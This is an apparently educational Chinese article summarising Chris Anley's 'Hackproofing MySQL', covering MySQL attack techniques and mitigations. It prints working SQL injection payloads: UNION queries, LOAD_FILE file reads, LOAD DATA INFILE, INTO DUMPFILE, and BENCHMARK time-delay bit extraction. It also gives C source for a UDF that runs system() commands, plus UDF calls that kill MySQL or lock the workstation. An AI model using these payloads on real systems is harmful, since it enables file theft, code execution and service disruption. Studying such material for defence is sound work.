Hackproofing MySQL

這是一篇很經典的論文,作者Chris Anley 是shellcode handbook的作者之一。我在寫這篇文章的時候也參考了官方文檔,這篇文章雖然已經滿大街了,但是仔細讀過還是學到了很多知識,有些地方限於技術和英文水平不能很好的理解,多有疏漏,請看官見諒。

0x01 mysql介紹

mysql號稱是世界上最流行的開源資料庫,它免費,而且跨平台,配置簡單,而且在高負載工作時也能有很好的性能。相比其他的資料庫,它的配置過於簡單,由此大大挑戰了mysql的安全性。本文介紹了mysql的常規攻擊方法,使用者們可以防備這些攻擊。(由於本文是2004年的文章,mysql已經更新到5.7版本,省略了版本介紹部分)

0x02 網路中的mysql

因為mysql 的免費,容易獲得,很多個人電腦上都安裝了mysql,不一定是專門的伺服器。典型的配置里客戶端通過TCP3306埠連接mysql,windows中則是通過命名管道(不推薦這種方式)。mysql默認兩種都有。mysql使用的網路協議相對於其他的DBMS要簡單,默認明文傳輸,4.0.0以上版本支持ssl。很容易檢測出來一個主機使用的mysql版本,甚至也會返回操作系統的信息。埠掃描能泄漏很多主機的信息,管理員除了改源碼也沒有什麼好辦法。

這樣檢測一下mysql是不是傳輸的加密數據(PS:如果是加密的也不意味著安全)

shell>tcpdump -l -i eth0 -w - src or dst port 3306 | strings

mysql大多數作為網頁應用的後端,和Apache/PHP 網頁應用一起作為web伺服器。也有的作為日誌伺服器,IDS入侵探測記錄或者其他的審計工作。在內部網路中的應用更加傳統,桌面開發環境中總有mysql。

鑒於歷史上mysql是明文通信,通常用SSH加在密信道中埠轉發連接3306埠。好處就是信息傳輸中被加密了,強行加了一道驗證。

要了解更多的安全配置還是看官方的推薦

MySQL :: MySQL 5.7 Reference Manual :: 7 Security

但是指南中通常建議將web伺服器和mysql放在同一主機上,這樣就可以禁止mysql的遠程訪問,但同時如果web伺服器被攻擊所有的資料庫信息都會被竊取.SQL注入等漏洞也會導致攻擊者修改資料庫內容。雖然正確的許可權管理會緩解一下情況,但是也應該時刻記住資料庫和web伺服器在同一個主機上給攻擊者提供了很多便利。

(因為都不是最新的漏洞了所以以下省略各種漏洞編號和簡介)

0x03mysql中的SQL注入

即使安全社區多年不斷的勸告和說教,SQL注入如今依然是個大問題,根本的原因是對用戶輸入沒有充分過濾。

php中magic_quotes_rpc選項控制PHP引擎是否自動轉義單引號,雙引號,反斜杠,NULL。

$query = "SELECT * FROM user where user = " . $_REQUEST[user] . ""; $query = "SELECT * FROM user order by " . $_REQUEST[user]; $query = "SELECT * FROM user where max_connections = " .$_REQUEST[user];

類似這樣的語句,都存在SQL注入。

如果沒開啟magic_quotes_rpc 安全性就會更差一點。

接下來的問題是:黑客SQL注入攻擊之後能幹什麼。

一些危險操作列表

  • UNION SELECT
  • LOAD_FILE function
  • LOAD DATA INFILE statement
  • SELECT ... INTO OUTFILE statement
  • BENCHMARK function
  • User Defined Functions (UDFs)

有個具體的實例可以更加形象的理解,以下有一段PHP代碼(明顯是虛構的只作為展示)

<?phpn/* Connecting, selecting database */n$link = mysql_connect("my_host", "root")nor die("Could not connect : " . mysql_error());nprint "Connected successfully";nmysql_select_db("mysql") or die("Could not select database");n/* Performing SQL query */n$query = "SELECT * FROM user where max_connections = " . $_REQUESTn[user];nprint "<h3>Query: " . $query . "</h3>";n$result = mysql_query($query) or die("Query failed : " .nmysql_error());n/* Printing results in HTML */nprint "<table>n";nwhile ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {nprint "t<tr>n";nforeach ($line as $col_value) {nprint "tt<td>$col_value</td>n";n}nprint "t</tr>n";n}nprint "</table>n";n/* Free resultset */nmysql_free_result($result);n?>n/* Closing connection */n

聯合查詢UNION

如今聯合查詢UNION已經成為了SQL注入攻擊的重要分支。

上面有一段代碼像這樣

$query = "SELECT * FROM user where max_connections = " . $_REQUEST[user];

max_connection=0 表示root用戶,如果我們請求這樣的鏈接

mysql.example.com/query

得到user表的輸出。

如果我們想獲得除user外其他有用的數據,UNION指令可以結合兩次的查詢結果,可以查詢不同的表。既然UNION可以在WHERE子句之後,我們就可以選擇任何的數據,有一些點需要注意。

  • 我們選擇的指令返回的欄位長度要和前一句一樣(長度31如果你數了的話)

    +前後數據類型要匹配

    +如果我們的數據中包括文本,語句會被截斷和第一句里一樣長。

如果我們想查詢『@@version』

請求像這樣

mysql.examples.com/quer

0x04 LOAD_FILE 函數

LOAD_FILE函數用字元串形式返回了文件內容,例如在Windows下

select load_file(c:/boot.ini);

如果目標用PHP而且打開了魔術引號功能,那我們就不能用單引號了

(原文說能夠hex編碼能夠繞過,親測不好用)

因為這樣只能顯示前60個字元,用substring()解決問題

mysql.example.com/query(load_file (0x633a2f626f6f742e696e69),60), 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

LOAD DATA IN FILE

如果SQL注入的環境允許攻擊者注入複合語句,這就變成了一個嚴重的問題。

通常這樣利用

create table foo( line blob ); load data infile c:/boot.ini into table foo; select * from foo;

load data 一個危險的特性可能導致攻擊者從客戶端拿走文件(而不是服務端),這意味著從web伺服器上就能讀取文件,不用資料庫伺服器。

這個問題已經在後面的版本中『解決』了,需要檢查配置客戶端和服務端都需要同意才能啟用這個功能,所以還要檢查配置。

***

PS:為了解決這個問題,LOAD DATA LOCAL 這樣工作

  • 默認所有的mysql客戶端和二進位文件編譯的時候都用-DENABLED_LOCAL_INFILE=1
  • 即使自己從源碼編譯的時候沒有加上-DENABLED_LOCAL_INFILE=1 這一項,LOAD DATA LOCAL也不能被客戶端調用,除非明確指出mysql_options(... MYSQL_OPT_LOCAL_INFILE , 0)
  • 服務端可以禁用所有的LOAD DATA LOCAL 命令 ,用--local-infile=0打開mysqld
  • 對於命令行mysql客戶端,--local-infile[=1]選項打開功能,--local-infile=0禁止。對於mysqlimport,默認是禁止的。可以用--local -L 打開。

    無論怎樣,想載入本地文件都需要服務端的同意。

    +如果你在Perl腳本中用了LOAD DATA LOCAL 或者其他程序在選項文件中讀取了用戶組,可以將這個組添加 local-infile 選項。或者為了避免麻煩,用loose-前綴

    [client] loose-local-infile=1
  • 如果LOAD DATA LOCAL被客戶端或服務端禁止,客戶端的錯誤消息

    ERROR 1148 : The used command is not alleowed with this MySQL version

    ***


    0x05 SELECT .. INTO OUTFILE

    這條語句為黑客指了一條控制mysql伺服器的大道——創建一個不存在的配置文件。最近的版本中雖然不能修改存在的文件,但是可以創建一個新的。

    最好的例子是CAN-2003-0150,在3.23.55或更早的版本中可以覆蓋my.cnf文件,配置MySQL以root用戶重啟。3.23.56修補了這個漏洞,但是通過確認』user『設置 /etc/my.cnf 來覆蓋 /datadir/my.cnf

如果你想用SELECT..INTO OUTFILE創建一個二進位文件,特定的字母會被反斜杠轉義,NULL用』0『替代。

SELECT ... INTO DUMPFILE

這條指令可以利用創建動態載入庫,再包含一個惡意的UDF(自定義函數),然後用「CREATE FUNCTION」載入庫,將函數鏈接到MySQL。

這麼說來,就是一個任意代碼執行了。保證攻擊的關鍵在於當MySQL載入動態庫的時候攻擊者要讓它像要尋找的位置寫入一個文件。它依賴於文件的許可權和文件在系統的位置。

0x06 時間延時和基準函數

很多時候,web應用不返回任何的錯誤信息,他們都被有經驗的開發者過濾了,給確認SQL注入漏洞帶來了一些困難。

這種情況下攻擊者注入一個SQL延時語句,看請求的延時就更容易判斷web應用的脆弱點。用條件語句和時間延時相結合能從數據中提取更多信息。

MySQL中沒有sleep和wait這種函數,可以用加密函數和benchmark替代。

  • select benchmark( 500000, sha1( test ) );

    計算sha1(test)500000次。在一個單核1.7GHz的機器上大約消耗五秒。

    請求URL

    mysql.example.com/query(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

    會讓應用回應延遲10-15秒

  • 攻擊者用這種方式來一步步探測信息,比如

    select if( user() like root@%, benchmark(100000,sha1(test)), false );

    可以知道用戶名是不是root
  • 下一步就是每次1bit的獲取信息

    select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1(test)), false );

    如果user()的第一bit是1 就延遲

    複合語句可以同時執行,所以這種方式不慢,也很可靠

0x07 User define functions

MySQL提供了一個機制,默認函數可以自己擴展,通過定製動態載入庫來使用UDF。

CREATE FUNCTION命令和手動添加mysql.func中的條目都可以。

庫中的函數一定要在MySQL正常可獲取的路徑中。

攻擊者利用這種機制創建動態庫,SELECT ... INTO DUMPFILE 將其寫到合適的目錄中,接著需要mysql.func的 update,insert的許可權讓MySQL載入庫並執行函數。

一個簡單UDF庫的例子

#include <stdio.h>n#include <stdlib.h>n/*ncompile with something likengcc -g -c so_system.cnthenngcc -g -shared -W1,-soname,so_system.so.0 -o so_system.so.0.0 so_system.o -lcn*/nenum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};ntypedef struct st_udf_argsn{nunsigned int arg_count; /* Number of arguments */nenum Item_result *arg_type;/* Pointer to item_results */nchar **args; /* Pointer to argument */nunsigned long *lengths; /* Length of string arguments */nchar *maybe_null; /* Set to 1 for all maybe_null args */n} UDF_ARGS;ntypedef struct st_udf_initn{nchar maybe_null; /* 1 if function can return NULL */nunsigned int decimals; /* for real functions */nunsigned long max_length; /* For string functions */nchar *ptr; /* free pointer for function data */nchar const_item; /* 0 if result is independent of arguments */n} UDF_INIT;nint do_system( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)n{nif( args->arg_count != 1 )nreturn 0;nsystem( args->args[0] );nreturn 0;n}n

將函數添加到MySQL

mysql> create function do_system returns integer soname so_system.so; Query OK, 0 rows affected (0.00 sec) mysql> select * from mysql.func; mysql> select do_system(ls > /tmp/test.txt);//這樣調用

即使攻擊者沒有許可權在目標系統中創建庫,利用一些已有的庫也可以達到惡意目的。

攻擊的難點在於大多數的函數參數不容易匹配MySQL的UDF原型。

int xxx( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)

儘管更富有經驗的黑客會用已有的庫構造任意代碼執行,但是所有的錯誤基本可控,利用的價值不大。

但是還是可以用系統庫做一些壞事,調用Windows的結束進程作為MySQL的UDF會立即結束MySQL,即使調用的用戶沒有Shutdown_priv

mysql> create function ExitProcess returns integer soname kernel32; Query OK, 0 rows affected (0.17 sec) mysql> select exitprocess(); ERROR 2013: Lost connection to MySQL server during query

還可以鎖住用戶的工作站

mysql> create function LockWorkStation returns integer soname user32; Query OK, 0 rows affected (0.00 sec) mysql> select LockWorkStation();

MySQL的UDF機制對開發者和黑客都同樣靈活多變,富有價值。

小心的控制好MySQL的許可權,尤其是mysql.func 表,文件許可權,限制使用SELECT .. INTO FILE。


推薦閱讀:

怎樣防範被人肉搜索?
藉助讀寫原語繞過IE緩解技術
挖到CVE是一種什麼感受?
如何從根本上防止 SQL 注入?

TAG:黑客Hacker | 信息安全 | 网络安全 |